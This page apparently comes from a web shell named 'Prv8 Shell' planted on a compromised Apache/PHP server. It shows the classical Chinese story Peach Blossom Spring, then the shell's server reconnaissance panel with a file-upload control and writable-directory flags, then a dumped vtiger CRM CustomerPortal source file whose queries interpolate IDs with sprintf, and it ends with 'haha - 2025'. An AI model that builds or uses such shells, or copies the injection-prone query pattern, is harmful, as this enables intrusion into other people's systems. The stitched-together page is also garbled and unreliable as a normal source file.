晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/modules/CustomerPortal/apis/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/www/crm/modules/CustomerPortal/apis/AbstractApi.php
<?php
/* +**********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.1
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is: vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 * ***********************************************************************************/

abstract class CustomerPortal_API_Abstract {

	private $activeUser = false;
	private $activeCustomer = false;
	protected $resolvedValueCache = array();

	protected function initActiveUser($user) {
		$this->activeUser = $user;
	}

	protected function hasActiveUser() {
		$user = $this->getActiveUser();
		return ($user !== false);
	}

	protected function setActiveUser($user) {
		$this->initActiveUser($user);
	}

	public function getActiveUser() {
		return $this->activeUser;
	}

	protected function initActiveCustomer($customer) {
		$this->activeCustomer = $customer;
	}

	protected function hasActiveCustomer() {
		$customer = $this->getActiveCustomer();
		return ($customer !== false);
	}

	protected function setActiveCustomer($customer) {
		$this->initActiveCustomer($customer);
	}

	protected function getActiveCustomer() {
		return $this->activeCustomer;
	}

	function authenticatePortalUser($username, $password) {
		global $adb;
		$current_date = date("Y-m-d");
		$sql = "SELECT id, user_name, user_password,last_login_time, isactive, support_start_date, support_end_date, cryptmode FROM vtiger_portalinfo
					INNER JOIN vtiger_customerdetails ON vtiger_portalinfo.id=vtiger_customerdetails.customerid
					INNER JOIN vtiger_crmentity ON vtiger_crmentity.crmid=vtiger_portalinfo.id
						WHERE vtiger_crmentity.deleted=0 AND user_name=? AND isactive=1 AND vtiger_customerdetails.portal=1
						AND (vtiger_customerdetails.support_start_date <= ? OR vtiger_customerdetails.support_start_date IS NULL)
						AND (vtiger_customerdetails.support_end_date >= ? OR vtiger_customerdetails.support_end_date IS NULL)";

		$result = $adb->pquery($sql, array($username, $current_date, $current_date));
		$num_rows = $adb->num_rows($result);

		$isAuthenticated = false;
		if ($num_rows >= 0) {
			for ($i = 0; $i < $num_rows; ++$i) {
				$customerId = $adb->query_result($result, $i, 'id');
				if (Vtiger_Functions::compareEncryptedPassword($password, $adb->query_result($result, $i, 'user_password'), $adb->query_result($result, $i, 'cryptmode'))) {
					break;
				} else {
					$customerId = null;
				}
			}
			$isActive = $adb->query_result($result, $i, 'isactive');
			if ($customerId) {
				$support_end_date = $adb->query_result($result, $i, 'support_end_date');
				if ($isActive && ($support_end_date >= $current_date || $support_end_date == null)) {
					$current_customer = CRMEntity::getInstance('Contacts');
					$current_customer->id = $customerId;
					$userName = $adb->query_result($result, $i, 'user_name');
					$current_customer->username = $userName;
					$this->setActiveCustomer($current_customer);

					global $current_user;
					$current_user = CRMEntity::getInstance('Users');
					$userid = Users::getActiveAdminId();
					$current_user->retrieveCurrentUserInfoFromFile($userid);
					$this->setActiveUser($current_user);
					$isAuthenticated = true;
				}
			} else if ($isActive && $support_end_date <= $current_date) {
				throw new Exception("Access to the portal was disabled on ".$support_end_date, 1413);
			} else if ($isActive == 0) {
				throw new Exception("Portal access has not been enabled for this account.", 1414);
			}
		}
		return $isAuthenticated;
	}

	protected function getParent($contactId) {
		$sql = sprintf("SELECT account_id FROM Contacts WHERE id = '%s';", $contactId);
		$result = vtws_query($sql, $this->getActiveUser());
		return $result[0]['account_id'];
	}

	protected function relatedRecordIds($module, $moduleLabel, $parentId = null) {
		global $adb, $log;
		$relatedIds = array();
		$mode = CustomerPortal_Settings_Utils::getDefaultMode($module);
		if ($parentId == null) {
			$contactWebserviceId = vtws_getWebserviceEntityId('Contacts', $this->getActiveCustomer()->id);
			if ($mode == 'mine') {
				$parentId = $contactWebserviceId;
			} else {
				if (in_array($module, array('Products', 'Services'))) {
					$relatedIds = CustomerPortal_Utils::getAllRecordIds($module, $this->getActiveUser());
					return $relatedIds;
				} else {
					$parentId = $this->getParent($contactWebserviceId);
					if (empty($parentId)) {
						$parentId = $contactWebserviceId;
					}
				}
			}
		}
		$webserviceObject = VtigerWebserviceObject::fromId($adb, $parentId);
		$handlerPath = $webserviceObject->getHandlerPath();
		$handlerClass = $webserviceObject->getHandlerClass();
		require_once $handlerPath;
		$handler = new $handlerClass($webserviceObject, $this->getActiveUser(), $adb, $log);
		$relatedIds = $handler->relatedIds($parentId, $module, $moduleLabel);
		return $relatedIds;
	}

	protected function isRecordAccessible($recordId, $module = null, $moduleLabel = null) {
		global $adb;

		if (empty($module)) {
			$module = VtigerWebserviceObject::fromId($adb, $recordId)->getEntityName();
			$moduleLabel = CustomerPortal_Utils::getRelatedModuleLabel($module);
		}

		if (empty($moduleLabel)) {
			$moduleLabel = CustomerPortal_Utils::getRelatedModuleLabel($module);
		}
		$mode = CustomerPortal_Settings_Utils::getDefaultMode($module);
		$relatedIds = $this->relatedRecordIds($module, $moduleLabel);
		if (in_array($recordId, $relatedIds) || ($mode == 'all' && in_array($module, array('Products', 'Services')))) {
			return true;
		} else {
			return false;
		}
	}

	protected function isFaqPublished($recordId) {
		$sql = sprintf('SELECT faqstatus FROM %s WHERE id=\'%s\';', 'Faq', $recordId);
		$result = vtws_query($sql, $this->getActiveUser());
		if ($result[0]['faqstatus'] == 'Published') {
			return true;
		} else {
			return false;
		}
	}

}

haha - 2025